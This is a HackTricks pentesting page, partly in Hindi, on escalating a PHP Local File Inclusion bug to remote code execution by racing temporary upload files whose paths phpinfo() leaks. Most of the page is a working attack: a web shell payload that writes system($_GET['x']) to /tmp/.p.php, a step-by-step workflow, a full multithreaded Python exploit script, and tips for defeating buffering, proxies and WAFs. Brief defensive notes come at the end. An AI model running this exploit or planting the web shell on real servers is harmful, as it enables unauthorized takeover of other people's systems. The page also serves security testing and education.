LFI to RCE via PHPInfo
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
To exploit this technique you need all of the following:
- एक पहुँच योग्य पेज जो phpinfo() output प्रदर्शित करता हो।
- एक Local File Inclusion (LFI) primitive जो आप नियंत्रित कर सकें (उदा., include/require on user input)।
- PHP file uploads सक्षम होने चाहिए (file_uploads = On). किसी भी PHP स्क्रिप्ट में RFC1867 multipart uploads स्वीकार होंगे और प्रत्येक uploaded part के लिए एक temporary file बनेगा।
- PHP worker को configured upload_tmp_dir (या default system temp directory) में लिखने में सक्षम होना चाहिए और आपकी LFI को उस path को include कर पाने योग्य होना चाहिए।
Classic write-up and original PoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Notes about the original PoC
- The phpinfo() output is HTML-encoded, so the “=>” arrow often appears as “=>”. If you reuse legacy scripts, ensure they search for both encodings when parsing the _FILES[tmp_name] value.
- You must adapt the payload (your PHP code), REQ1 (the request to the phpinfo() endpoint including padding), and LFIREQ (the request to your LFI sink). Some targets don’t need a null-byte (%00) terminator and modern PHP versions won’t honor it. Adjust the LFIREQ accordingly to the vulnerable sink.
Example sed (only if you really use the old Python2 PoC) to match HTML-encoded arrow:
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
सिद्धांत
- When PHP receives a multipart/form-data POST with a file field, it writes the content to a temporary file (upload_tmp_dir or the OS default) and exposes the path in $_FILES[‘
’][‘tmp_name’]. The file is automatically removed at the end of the request unless moved/renamed. - चाल यह है कि अस्थायी नाम पता कर के अपने LFI के जरिए उसे include करें, इससे पहले कि PHP उसे साफ़ कर दे। phpinfo() prints $_FILES, including tmp_name.
- By inflating request headers/parameters (padding) you can cause early chunks of phpinfo() output to be flushed to the client before the request finishes, so you can read tmp_name while the temp file still exists and then immediately hit the LFI with that path.
In Windows the temp files are commonly under something like C:\Windows\Temp\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir.
What to verify in phpinfo() before racing
Before sending thousands of requests, extract the values that decide whether the race is realistic:
file_uploads: यहOnहोना चाहिए।upload_tmp_dir: यदि सेट है, तो यह वह डायरेक्टरी है जिसे आपका LFI include कर सके। अगर खाली है, तो सिस्टम डिफ़ॉल्ट टेम्प डायरेक्टरी की अपेक्षा रखें।open_basedir: यदि सक्षम है, तो आपका vulnerable include path तब भी tmp_name में दिखाए गए temp डायरेक्टरी तक पहुँचने में सक्षम होना चाहिए।output_buffering:4096आम/डिफ़ॉल्ट साइज है और इसी वजह से कई PoCs 4KB chunks में पढ़ते हैं, पर यह मान अलग भी हो सकता है।zlib.output_compression,output_handler, और किसी भी framework-स्तरीय buffering: ये tmp_name को पर्याप्त जल्दी देखने की संभावना कम कर देते हैं।Server API: यह तय करने में उपयोगी है कि PHP और आपके बीच कितना buffering हो सकता है (apache2handlerआमतौर पर समझने में आसान होता है बनामfpm-fcgiजो reverse proxy के पीछे होता है)।
यदि पेज $_FILES नहीं दिखाता, तो सुनिश्चित करें कि आप वास्तव में एक multipart/form-data अनुरोध भेज रहे हैं जिसमें एक वास्तविक file part हो। PHP केवल उन्हीं upload फील्ड्स के लिए tmp_name भरता है जिन्हें पार्स किया गया हो।
Attack workflow (कदम दर कदम)
- एक छोटा सा PHP payload तैयार करें जो जल्दी से एक shell को persist कर दे ताकि race हारने से बचा जा सके (writing a file is generally faster than waiting for a reverse shell):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
-
phpinfo() पेज पर सीधे एक बड़ा multipart POST भेजें ताकि यह आपके payload वाला एक temp file बना दे। प्रारंभिक आउटपुट को प्रोत्साहित करने के लिए विभिन्न headers/cookies/params में ~5–10KB padding जोड़ें। सुनिश्चित करें कि form field name वह है जिसे आप $_FILES में parse करेंगे।
-
जब phpinfo() response अभी भी streaming हो रहा हो, partial body को parse करके $_FILES[‘
’][‘tmp_name’] (HTML-encoded) निकालें। जैसे ही आपके पास full absolute path (उदा., /tmp/php3Fz9aB) आ जाए, अपना LFI ट्रिगर करके उस path को include कराएँ। यदि include() temp file को delete होने से पहले execute कर देता है, तो आपका payload चल जाएगा और /tmp/.p.php छोड़ देगा। -
छोड़े गए file का उपयोग करें: GET /vuln.php?include=/tmp/.p.php&x=id (या जहाँ भी आपका LFI इसे include करने देता है) से commands को विश्वसनीय रूप से execute करें।
टिप्स
- कई concurrent workers का उपयोग करें ताकि race जीतने की आपकी संभावनाएँ बढ़ें।
- अक्सर मदद करने वाले padding placement: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Target के हिसाब से tune करें।
- अगर vulnerable sink कोई extension (उदा., .php) जोड़ देता है, तो आपको null byte की आवश्यकता नहीं है; include() temp file के extension की परवाह किए बिना PHP execute कर देगा।
Minimal Python 3 PoC (socket-based)
The snippet below focuses on the critical parts and is easier to adapt than the legacy Python2 script. Customize HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
समस्या निवारण
- You never see tmp_name: Ensure you really POST multipart/form-data to phpinfo(). phpinfo() prints $_FILES only when an upload field was present.
tmp_nameappears only at the very end of the response: यह आम तौर पर एक buffering समस्या होती है, न कि PHP-version की समस्या। बड़ेoutput_bufferingमान,zlib.output_compression, userland output handlers, या reverse-proxy/FastCGI buffering phpinfo() बॉडी को तब तक विलंबित कर सकते हैं जब तक upload request लगभग पूरा न हो जाए।- You only get reliable streaming in a lab, not through the real site: एक CDN, WAF, या reverse proxy upstream response को buffer कर सकता है। यदि आपके पास एक ही ऐप तक कई मार्ग हैं, तो सबसे सीधे origin path को प्राथमिकता दें।
- The classic 4096-byte offset logic misses the leak: 4096 को सामान्य
output_bufferingडिफॉल्ट से निकले एक शुरुआती बिंदु के रूप में लें, इसे एक सार्वभौमिक स्थिरांक न मानें। क्रमिक रूप से पार्स करें और जैसे हीtmp_nameपूरा हो जाए रुक जाएँ। - The temp file is included but your shell dies immediately: एक छोटा stager उपयोग करें जो दूसरी फ़ाइल लिखे, क्योंकि अपलोड की गई temp file मूल request समाप्त होने पर अभी भी हटा दी जाएगी।
- Output doesn’t flush early: padding बढ़ाएँ, और बड़े headers जोड़ें, या कई concurrent requests भेजें। कुछ SAPIs/buffers छोटे thresholds पर flush नहीं करेंगे; आवश्यकतानुसार समायोजित करें।
- LFI path blocked by open_basedir or chroot: आपको LFI को एक अनुमत path पर इशारा करना होगा या किसी अलग LFI2RCE vector पर स्विच करना होगा।
- Temp directory not /tmp: phpinfo() पूर्ण absolute tmp_name path प्रिंट करता है; उस सटीक path का उपयोग LFI में करें।
आधुनिक स्टैक्स के लिए व्यावहारिक नोट्स
- यह तकनीक आधुनिक लैब पर्यावरणों में अभी भी पुनरुत्पादन योग्य है; उदाहरण के लिए, Vulhub PHP 7.2 पर एक demonstrator रखता है। व्यवहार में, सफलता phpinfo-विशिष्ट patch level की तुलना में output buffering और proxying पर अधिक निर्भर करती है।
flush()औरimplicit_flushकेवल PHP की अपनी output layer को प्रभावित करते हैं। वे यह गारंटी नहीं देते कि कोई FastCGI gateway, reverse proxy, browser, या मध्यस्थ भागिक chunks तुरंत रिलीज़ कर देगा।- यदि लक्ष्य
fpm-fcgiहै और वह Nginx/Apache proxying के पीछे है, तो लेयर्स में सोचें: PHP buffer, PHP output handlers/compression, FastCGI buffering, फिर proxy buffering। रेस तभी काम करती है जब phpinfo() response का पर्याप्त हिस्सा उस चेन से बचकर निकल जाए पहले कि request shutdown temp file को delete कर दे।
रक्षा सम्बन्धी नोट्स
- Never expose phpinfo() in production. यदि आवश्यक हो, तो IP/auth द्वारा प्रतिबंधित करें और उपयोग के बाद हटा दें।
- Keep file_uploads disabled if not required. अन्यथा, upload_tmp_dir को ऐसे path पर सीमित करें जो application में include() द्वारा पहुँच योग्य न हो और किसी भी include/require paths पर सख्त validation लागू करें।
- Treat any LFI as critical; भले ही phpinfo() न हो, अन्य LFI→RCE रास्ते मौजूद हैं।
संबंधित HackTricks तकनीकें
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
संदर्भ
- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
- PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
- Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


